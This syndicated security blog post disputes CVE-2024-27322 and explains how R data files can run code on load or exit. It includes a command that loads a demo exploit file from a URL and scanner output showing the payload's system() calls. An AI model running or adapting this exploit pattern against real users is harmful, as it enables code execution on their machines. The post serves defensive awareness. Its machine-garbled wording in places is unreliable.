CVE-2024-27322 should never have been assigned and R data files are still super risky even in R 4.4.0

I wasn’t planning on blogging this (this is an incredibly time-consuming week for me), but CERT/CC and CISA have been putting a lot of focus on a non-vulnerability in R, and it’s making the rounds on socmed, so here we are than .

A security vendor decided to create hype before the 2024 RSAC and made extensive use of the known expected behavior in R databases. R Core has taken some steps to address the issue they outlined, but for the love of Henry, please don’t think that R data files are safe to use if you weren’t the one who created them, or if you know the origin not fully aware of it. .

Konrad Rudolph and Iakov Davydov have done some excellent cyber sleuthing and figured out other ways in which deserialization of R data files can be exploited. Take a moment and send them a note on Mastodon saying “thank you”. This is excellent work. We need more people like her in this ecosystem.

Like many programming languages, R has many footguns, and R data files are one of them. are R objects beautiful beasts, and being able to serialize and deserialize those beasts is a super useful piece of functionality. R also has something called active bonds. Among other things, they give you access to an object to obtain a value, but in doing so code can be executed without your knowledge. Whether an R data file has an object with active bindings or not, it can be exploited by attackers.

When you load() puts an R data file directly into your R session and into the global environment, the objects in it will, well, load there. So if there is an object named print that will be in your global environment and will be called when print() is called. Lather/rinse/repeat for every other object name. It should be quite clear how this abuse can be exploited.

Slightly more treacherous is what happens when you close R. This is on by default quit()unless you specify otherwise, that function call is also called .Last() if it occurs in the area. This functionality exists in case things need to be cleaned up. A “fun” aspect of it .-prefixed R objects is that they are hidden from the environment by default. So you might not even notice if an R data file you loaded has that defined. (You’re probably not checking what’s loaded anyway.)

It is also possible to create custom R objects that have their own finalizers (ref reg.finalizer), which is also called by default if the objects are destroyed on exit.

There are probably other ways to cause unwanted behavior.

To see how this works, start R from RStudio, the command line, or R GUI. Then run the following R code:

load(url("https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda"))

Then exit R/RStudio/R GUI (this will be less dramatic on Linux, but the demo should still be effective).

like you must include unreliable R data files, keep reading.

I’ve put together an R script along with a more secure way to use it (a Docker container) to help R people inspect the contents of R data files before actually using them. It also looks for some simple, obscure things and alerts you if it finds them. It’s a WIP, and issues + thoughtful PRs are welcome.

If someone were to run Rscript check.R of that repo with that exploit.rda file as a parameter, you would see this:

-----------------------------------------------
Loading R data file in quarantined environment…
-----------------------------------------------

Loading objects:
  .Last
  quit

-----------------------------------------
Enumerating objects in loaded R data file
-----------------------------------------

.Last : function (...)  
 - attr(*, "srcref")= 'srcref' int (1:8) 1 13 6 1 13 1 1 6
  ..- attr(*, "srcfile")=Classes 'srcfilecopy', 'srcfile' <environment: 0x12cb25f48> 
quit : function (...)  
 - attr(*, "srcref")= 'srcref' int (1:8) 1 13 6 1 13 1 1 6
  ..- attr(*, "srcfile")=Classes 'srcfilecopy', 'srcfile' <environment: 0x12cb25f48> 

------------------------------------
Functions found: enumerating sources
------------------------------------

Checking `.Last`…

!! `.Last` may execute arbitrary code on your system under certain conditions !!

`.Last` source:
{
    cmd = if (.Platform$OS.type == "windows") 
        "calc.exe"
    else if (grepl("^darwin", version$os)) 
        "open -a Calculator.app"
    else "echo pwned\\!"
    system(cmd)
}


Checking `quit`…

!! `quit` may execute arbitrary code on your system under certain conditions !!

`quit` source:
{
    cmd = if (.Platform$OS.type == "windows") 
        "calc.exe"
    else if (grepl("^darwin", version$os)) 
        "open -a Calculator.app"
    else "echo pwned\\!"
    system(cmd)
}

There is information in the repository on how to use that with Docker.

FIN

The big takeaway is (again) not to trust R data files for which you have not created or do not know the full provenance. If you have a web-facing Shiny app or Plumber API that takes R data files as input, take it off the web and find another way to ingest the input.

While I completely disagree with the CVE’s order, I am at least glad that this situation has brought attention to this very dangerous aspect of dealing with this type of file format in R.

The post CVE-2024-27322 Should Never Have Been Assigned and R Data Files Are Still Super Risky Even in R 4.4.0 appeared first on rud.is.

*** This is a Security Bloggers Network syndicated blog from rud.is, written by hrbrmstr. Read the original post at: https://rud.is/b/2024/05/03/cve-2024-27322-should-never-have-been-assigned-and-r-data-files-are-still- super risky-even-in-r-4-4-0/